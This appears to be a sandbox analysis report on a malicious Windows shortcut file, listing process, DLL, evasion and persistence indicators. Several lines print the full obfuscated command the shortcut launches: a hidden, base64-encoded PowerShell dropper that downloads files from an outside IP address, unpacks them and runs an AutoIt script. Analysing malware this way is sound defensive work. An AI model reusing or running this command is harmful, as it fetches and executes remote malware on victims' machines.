Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.pdb source: powershell.exe, 00000003.00000002.1577710295.000001C46BFEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.IO.Compression.FileSystem.pdb= source: powershell.exe, 00000003.00000002.1577421947.000001C46BF76000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Management.resourcesn.pdb source: powershell.exe, 00000003.00000002.1577710295.000001C46BFEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.pdbz~ source: powershell.exe, 00000003.00000002.1577710295.000001C46BFEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.IO.Compression.FileSystem.pdbrv source: powershell.exe, 00000003.00000002.1577710295.000001C46BFEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *on.pdb+ source: powershell.exe, 00000003.00000002.1577421947.000001C46BF76000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.IO.Compression.FileSystem.pdb source: powershell.exe, 00000003.00000002.1577710295.000001C46BFEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: m.pdb source: powershell.exe, 00000003.00000002.1577710295.000001C46BFEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000003.00000002.1577421947.000001C46BF76000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYX

Suspicious command line found

Source: unknown

Process created: "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) | Invoke-Expression"

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) \| Invoke-Expression"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) \| Invoke-Expression"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4B1263C2 pushad ; retf	3_2_00007FFB4B1263C3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4B1263B2 push eax; retf	3_2_00007FFB4B1263B3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4B1267C2 pushad ; iretd	3_2_00007FFB4B1267C3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4B1267B2 push eax; iretd	3_2_00007FFB4B1267B3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4B12782E pushad ; iretd	3_2_00007FFB4B12785D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4B12785E push eax; iretd	3_2_00007FFB4B12786D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4B12CDC7 push esp; retf	3_2_00007FFB4B12CDC8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4B127523 push ebx; iretd	3_2_00007FFB4B12756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4B1F47E2 push 90000049h; ret	3_2_00007FFB4B1F49C1

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5124			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4592			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4464	Thread sleep count: 5124 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4464	Thread sleep count: 4592 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6748	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2888	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6920	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000006.00000002.2694552851.000002E33A82F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW {
Source: svchost.exe, 00000006.00000002.2695705211.000002E33FE54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000003.00000002.1575358392.000001BC6A710000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

